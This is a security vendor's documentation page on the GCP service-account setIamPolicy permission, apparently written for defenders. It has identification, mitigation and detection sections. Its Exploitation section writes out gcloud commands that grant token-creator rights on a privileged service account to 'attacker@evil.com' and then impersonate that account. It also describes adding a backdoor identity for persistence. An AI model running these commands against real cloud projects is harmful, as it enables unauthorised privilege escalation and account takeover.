> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_set_sa_iampolicy.md).

# GCP\_CAN\_SET\_SA\_IAMPOLICY

## Summary

|                            |                                                                           |
| -------------------------- | ------------------------------------------------------------------------- |
| **FSProtect ACL Alias**    | GCP\_CAN\_SET\_SA\_IAMPOLICY                                              |
| **GCP Alias**              | IAM & Hierarchy Control                                                   |
| **Affected Object Types**  | Service Accounts                                                          |
| **Exploitation Certainty** | Certain                                                                   |
| **Granting Roles**         | `roles/owner`, `roles/iam.securityAdmin`, `roles/iam.serviceAccountAdmin` |

## Description

`GCP_CAN_SET_SA_IAMPOLICY` indicates that an identity can call `setIamPolicy` on a specific GCP **Service Account** resource. Unlike setting IAM policy at the project or org level, this edge targets a single service account's allow policy — but the impact is equally severe when the target SA holds elevated privileges.

The primary exploitation path is granting `roles/iam.serviceAccountTokenCreator` on the target SA to a controlled identity. This allows the attacker to generate short-lived OAuth2 access tokens and ID tokens for the target SA from anywhere, without needing to be running on GCP infrastructure.

**Key abuse scenarios:**

* Grant `roles/iam.serviceAccountTokenCreator` on a high-privilege SA → directly generate tokens ([GCP\_CAN\_IMPERSONATE\_SA](https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_impersonate_sa)).
* Grant `roles/iam.serviceAccountUser` → attach the SA to a VM you spin up ([GCP\_CAN\_ACT\_AS\_SA](https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_act_as_sa)).
* Add a backdoor identity as a Service Account Admin for persistence.

## Identification

### gcloud CLI

```bash
# List IAM policy on a specific service account
PROJECT_ID="my-project"
SA_EMAIL="high-priv@${PROJECT_ID}.iam.gserviceaccount.com"
gcloud iam service-accounts get-iam-policy $SA_EMAIL --format=json | \
  jq '.bindings[] | {role: .role, members: .members}'
```

```bash
# Find all service accounts in a project and their IAM policies
for SA in $(gcloud iam service-accounts list --project=$PROJECT_ID --format="value(email)"); do
  echo "=== $SA ==="
  gcloud iam service-accounts get-iam-policy $SA --format=json 2>/dev/null | \
    jq '.bindings[]? | {role: .role, members: .members}'
done
```

### GCP Console

1. Open **GCP Console** → **IAM & Admin** → **Service Accounts**.
2. Click on the target service account.
3. Select the **Principals with access** tab to view who has access to this SA.

## Exploitation

### gcloud CLI

```bash
# Grant token creator on a privileged SA to escalate
SA_EMAIL="high-priv@target-project.iam.gserviceaccount.com"
gcloud iam service-accounts add-iam-policy-binding $SA_EMAIL \
  --member="user:attacker@evil.com" \
  --role="roles/iam.serviceAccountTokenCreator"

# Now generate a token for the high-privilege SA
gcloud auth print-access-token --impersonate-service-account=$SA_EMAIL
```

**Compound path:** `GCP_CAN_SET_SA_IAMPOLICY` → grant `roles/iam.serviceAccountTokenCreator` → [GCP\_CAN\_IMPERSONATE\_SA](https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_impersonate_sa) → call any GCP API as the target SA.

## Mitigation

1. **Restrict `roles/iam.serviceAccountAdmin`** — this role includes `setIamPolicy` on service accounts; assign only to privileged automation.
2. **Audit SA-level IAM policies** for unexpected members:

   ```bash
   for SA in $(gcloud iam service-accounts list --project=$PROJECT_ID --format="value(email)"); do
     POLICY=$(gcloud iam service-accounts get-iam-policy $SA --format=json 2>/dev/null)
     echo "$POLICY" | jq --arg sa "$SA" '. + {sa: $sa} | select(.bindings | length > 0)'
   done
   ```
3. **Use Workload Identity Federation** instead of SA keys to reduce the need for broad SA IAM grants.
4. **Limit service account creation** with `constraints/iam.disableServiceAccountCreation` where applicable.

## Detection

| Log Type       | Method         | Key Fields                                                                     |
| -------------- | -------------- | ------------------------------------------------------------------------------ |
| Admin Activity | `SetIamPolicy` | `resource.type=service_account`, `methodName=google.iam.admin.v1.SetIamPolicy` |

```bash
gcloud logging read \
  'resource.type="service_account" AND protoPayload.methodName="google.iam.admin.v1.SetIamPolicy"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, resource.labels.email_id)"
```

Alert on:

* `SetIamPolicy` on service accounts by non-automation identities.
* New `roles/iam.serviceAccountTokenCreator` or `roles/iam.serviceAccountUser` bindings on privileged SAs.

## References

* <https://cloud.google.com/iam/docs/service-accounts#service\\_account\\_permissions>
* <https://cloud.google.com/iam/docs/impersonating-service-accounts>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.forestall.io/fsprotect/edges/gcp/gcp_can_set_sa_iampolicy.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
